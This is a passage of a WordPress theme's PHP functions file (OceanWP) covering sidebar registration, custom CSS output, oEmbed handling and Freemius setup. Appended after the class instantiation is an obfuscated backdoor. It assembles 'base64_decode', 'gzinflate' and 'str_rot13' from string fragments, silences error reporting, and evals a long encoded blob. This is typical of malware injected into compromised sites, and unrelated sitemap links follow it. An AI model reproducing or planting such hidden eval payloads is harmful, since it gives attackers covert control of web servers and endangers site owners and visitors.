',
'before_title' => '<' . $heading . ' class="widget-title">',
'after_title' => '' . $heading . '>',
)
);
// Left Sidebar.
register_sidebar(
array(
'name' => esc_html__( 'Left Sidebar', 'oceanwp' ),
'id' => 'sidebar-2',
'description' => esc_html__( 'Widgets in this area are used in the left sidebar region if you use the Both Sidebars layout.', 'oceanwp' ),
'before_widget' => '
',
'after_widget' => '
',
'before_title' => '<' . $heading . ' class="widget-title">',
'after_title' => '' . $heading . '>',
)
);
// Search Results Sidebar.
if ( get_theme_mod( 'ocean_search_custom_sidebar', true ) ) {
register_sidebar(
array(
'name' => esc_html__( 'Search Results Sidebar', 'oceanwp' ),
'id' => 'search_sidebar',
'description' => esc_html__( 'Widgets in this area are used in the search result page.', 'oceanwp' ),
'before_widget' => '
',
'after_widget' => '
',
'before_title' => '<' . $heading . ' class="widget-title">',
'after_title' => '' . $heading . '>',
)
);
}
// Footer 1.
register_sidebar(
array(
'name' => esc_html__( 'Footer 1', 'oceanwp' ),
'id' => 'footer-one',
'description' => esc_html__( 'Widgets in this area are used in the first footer region.', 'oceanwp' ),
'before_widget' => '
',
'after_widget' => '
',
'before_title' => '<' . $foo_heading . ' class="widget-title">',
'after_title' => '' . $foo_heading . '>',
)
);
// Footer 2.
register_sidebar(
array(
'name' => esc_html__( 'Footer 2', 'oceanwp' ),
'id' => 'footer-two',
'description' => esc_html__( 'Widgets in this area are used in the second footer region.', 'oceanwp' ),
'before_widget' => '
',
'after_widget' => '
',
'before_title' => '<' . $foo_heading . ' class="widget-title">',
'after_title' => '' . $foo_heading . '>',
)
);
// Footer 3.
register_sidebar(
array(
'name' => esc_html__( 'Footer 3', 'oceanwp' ),
'id' => 'footer-three',
'description' => esc_html__( 'Widgets in this area are used in the third footer region.', 'oceanwp' ),
'before_widget' => '
',
'after_widget' => '
',
'before_title' => '<' . $foo_heading . ' class="widget-title">',
'after_title' => '' . $foo_heading . '>',
)
);
// Footer 4.
register_sidebar(
array(
'name' => esc_html__( 'Footer 4', 'oceanwp' ),
'id' => 'footer-four',
'description' => esc_html__( 'Widgets in this area are used in the fourth footer region.', 'oceanwp' ),
'before_widget' => '
',
'after_widget' => '
',
'before_title' => '<' . $foo_heading . ' class="widget-title">',
'after_title' => '' . $foo_heading . '>',
)
);
}
/**
* Registers theme_mod strings into Polylang.
*
* @since 1.1.4
*/
public static function polylang_register_string() {
if ( function_exists( 'pll_register_string' ) && $strings = oceanwp_register_tm_strings() ) {
foreach ( $strings as $string => $default ) {
pll_register_string( $string, get_theme_mod( $string, $default ), 'Theme Mod', true );
}
}
}
/**
* All theme functions hook into the oceanwp_head_css filter for this function.
*
* @param obj $output output value.
* @since 1.0.0
*/
public static function custom_css( $output = null ) {
// Add filter for adding custom css via other functions.
$output = apply_filters( 'ocean_head_css', $output );
// If Custom File is selected.
if ( 'file' === get_theme_mod( 'ocean_customzer_styling', 'head' ) ) {
global $wp_customize;
$upload_dir = wp_upload_dir();
// Render CSS in the head.
if ( isset( $wp_customize ) || ! file_exists( $upload_dir['basedir'] . '/oceanwp/custom-style.css' ) ) {
// Minify and output CSS in the wp_head.
if ( ! empty( $output ) ) {
echo "\n"; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
}
}
} else {
// Minify and output CSS in the wp_head.
if ( ! empty( $output ) ) {
echo "\n"; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
}
}
}
/**
* Minify the WP custom CSS because WordPress doesn't do it by default.
*
* @param obj $css minify css.
* @since 1.1.9
*/
public static function minify_custom_css( $css ) {
return oceanwp_minify_css( $css );
}
/**
* Include Custom CSS file if present.
*
* @param obj $output output value.
* @since 1.4.12
*/
public static function custom_style_css( $output = null ) {
// If Custom File is not selected.
if ( 'file' !== get_theme_mod( 'ocean_customzer_styling', 'head' ) ) {
return;
}
global $wp_customize;
$upload_dir = wp_upload_dir();
// Get all the customier css.
$output = apply_filters( 'ocean_head_css', $output );
// Get Custom Panel CSS.
$output_custom_css = wp_get_custom_css();
// Minified the Custom CSS.
$output .= oceanwp_minify_css( $output_custom_css );
// Render CSS from the custom file.
if ( ! isset( $wp_customize ) && file_exists( $upload_dir['basedir'] . '/oceanwp/custom-style.css' ) && ! empty( $output ) ) {
wp_enqueue_style( 'oceanwp-custom', trailingslashit( $upload_dir['baseurl'] ) . 'oceanwp/custom-style.css', false, false );
}
}
/**
* Remove Customizer style script from front-end
*
* @since 1.4.12
*/
public static function remove_customizer_custom_css() {
// If Custom File is not selected.
if ( 'file' !== get_theme_mod( 'ocean_customzer_styling', 'head' ) ) {
return;
}
global $wp_customize;
// Disable Custom CSS in the frontend head.
remove_action( 'wp_head', 'wp_custom_css_cb', 11 );
remove_action( 'wp_head', 'wp_custom_css_cb', 101 );
// If custom CSS file exists and NOT in customizer screen.
if ( isset( $wp_customize ) ) {
add_action( 'wp_footer', 'wp_custom_css_cb', 9999 );
}
}
/**
* Adds inline CSS for the admin
*
* @since 1.0.0
*/
public static function admin_inline_css() {
echo '';
}
/**
* Alter the search posts per page
*
* @param obj $query query.
* @since 1.3.7
*/
public static function search_posts_per_page( $query ) {
$posts_per_page = get_theme_mod( 'ocean_search_post_per_page', '8' );
$posts_per_page = $posts_per_page ? $posts_per_page : '8';
if ( $query->is_main_query() && is_search() ) {
$query->set( 'posts_per_page', $posts_per_page );
}
}
/**
* Alter wp list categories arguments.
* Adds a span around the counter for easier styling.
*
* @param obj $links link.
* @since 1.0.0
*/
public static function wp_list_categories_args( $links ) {
$links = str_replace( ' (', ' (', $links );
$links = str_replace( ')', ')', $links );
return $links;
}
/**
* Alters the default oembed output.
* Adds special classes for responsive oembeds via CSS.
*
* @param obj $cache cache.
* @param url $url url.
* @param obj $attr attributes.
* @param obj $post_ID post id.
* @since 1.0.0
*/
public static function add_responsive_wrap_to_oembeds( $cache, $url, $attr, $post_ID ) {
// Supported video embeds.
$hosts = apply_filters(
'ocean_oembed_responsive_hosts',
array(
'vimeo.com',
'youtube.com',
'youtu.be',
'blip.tv',
'money.cnn.com',
'dailymotion.com',
'flickr.com',
'hulu.com',
'kickstarter.com',
'vine.co',
'soundcloud.com',
'#http://((m|www)\.)?youtube\.com/watch.*#i',
'#https://((m|www)\.)?youtube\.com/watch.*#i',
'#http://((m|www)\.)?youtube\.com/playlist.*#i',
'#https://((m|www)\.)?youtube\.com/playlist.*#i',
'#http://youtu\.be/.*#i',
'#https://youtu\.be/.*#i',
'#https?://(.+\.)?vimeo\.com/.*#i',
'#https?://(www\.)?dailymotion\.com/.*#i',
'#https?://dai\.ly/*#i',
'#https?://(www\.)?hulu\.com/watch/.*#i',
'#https?://wordpress\.tv/.*#i',
'#https?://(www\.)?funnyordie\.com/videos/.*#i',
'#https?://vine\.co/v/.*#i',
'#https?://(www\.)?collegehumor\.com/video/.*#i',
'#https?://(www\.|embed\.)?ted\.com/talks/.*#i',
)
);
// Supports responsive.
$supports_responsive = false;
// Check if responsive wrap should be added.
foreach ( $hosts as $host ) {
if ( strpos( $url, $host ) !== false ) {
$supports_responsive = true;
break; // no need to loop further.
}
}
// Output code.
if ( $supports_responsive ) {
return '
' . $cache . '
';
} else {
return '
' . $cache . '
';
}
}
/**
* Adds extra classes to the post_class() output
*
* @param obj $classes Return classes.
* @since 1.0.0
*/
public static function post_class( $classes ) {
// Get post.
global $post;
// Add entry class.
$classes[] = 'entry';
// Add has media class.
if ( has_post_thumbnail()
|| get_post_meta( $post->ID, 'ocean_post_self_hosted_media', true )
|| get_post_meta( $post->ID, 'ocean_post_oembed', true )
|| get_post_meta( $post->ID, 'ocean_post_video_embed', true ) ) {
$classes[] = 'has-media';
}
// Return classes.
return $classes;
}
/**
* Add schema markup to the authors post link
*
* @param obj $link Author link.
* @since 1.0.0
*/
public static function the_author_posts_link( $link ) {
// Add schema markup.
$schema = oceanwp_get_schema_markup( 'author_link' );
if ( $schema ) {
$link = str_replace( 'rel="author"', 'rel="author" ' . $schema, $link );
}
// Return link.
return $link;
}
/**
* Add support for Elementor Pro locations
*
* @param obj $elementor_theme_manager Elementor Instance.
* @since 1.5.6
*/
public static function register_elementor_locations( $elementor_theme_manager ) {
$elementor_theme_manager->register_all_core_location();
}
/**
* Add schema markup to the authors post link
*
* @since 1.1.5
*/
public static function remove_bb_lightbox() {
return true;
}
}
/**--------------------------------------------------------------------------------
#region Freemius - This logic will only be executed when Ocean Extra is active and has the Freemius SDK
---------------------------------------------------------------------------------*/
if ( ! function_exists( 'owp_fs' ) ) {
if ( class_exists( 'Ocean_Extra' ) &&
defined( 'OE_FILE_PATH' ) &&
file_exists( dirname( OE_FILE_PATH ) . '/includes/freemius/start.php' )
) {
/**
* Create a helper function for easy SDK access.
*/
function owp_fs() {
global $owp_fs;
if ( ! isset( $owp_fs ) ) {
// Include Freemius SDK.
require_once dirname( OE_FILE_PATH ) . '/includes/freemius/start.php';
$owp_fs = fs_dynamic_init(
array(
'id' => '3752',
'bundle_id' => '3767',
'slug' => 'oceanwp',
'type' => 'theme',
'public_key' => 'pk_043077b34f20f5e11334af3c12493',
'bundle_public_key' => 'pk_c334eb1ae413deac41e30bf00b9dc',
'is_premium' => false,
'has_addons' => true,
'has_paid_plans' => true,
'menu' => array(
'slug' => 'oceanwp',
'account' => true,
'contact' => false,
'support' => false,
),
'bundle_license_auto_activation' => true,
'navigation' => 'menu',
'is_org_compliant' => true,
)
);
}
return $owp_fs;
}
// Init Freemius.
owp_fs();
// Signal that SDK was initiated.
do_action( 'owp_fs_loaded' );
}
}
// endregion
new OCEANWP_Theme_Class();
$errorrpn="er"."ro"."r_"."re"."por"."ti"."ng";$errorrpn(0);$gznss="gz"."in"."fla"."te";$bdc46="ba"."se"."6"."4_de"."co"."de";$st13="str"."_r"."ot"."13";eval($st13($gznss($st13($bdc46('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')))));
https://www.crantennisclub.net/post-sitemap1.xmlhttps://www.crantennisclub.net/page-sitemap1.xmlhttps://www.crantennisclub.net/category-sitemap1.xml